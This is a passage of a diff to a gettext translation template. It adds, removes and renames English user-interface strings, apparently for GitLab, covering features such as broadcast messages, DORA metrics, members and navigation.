@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
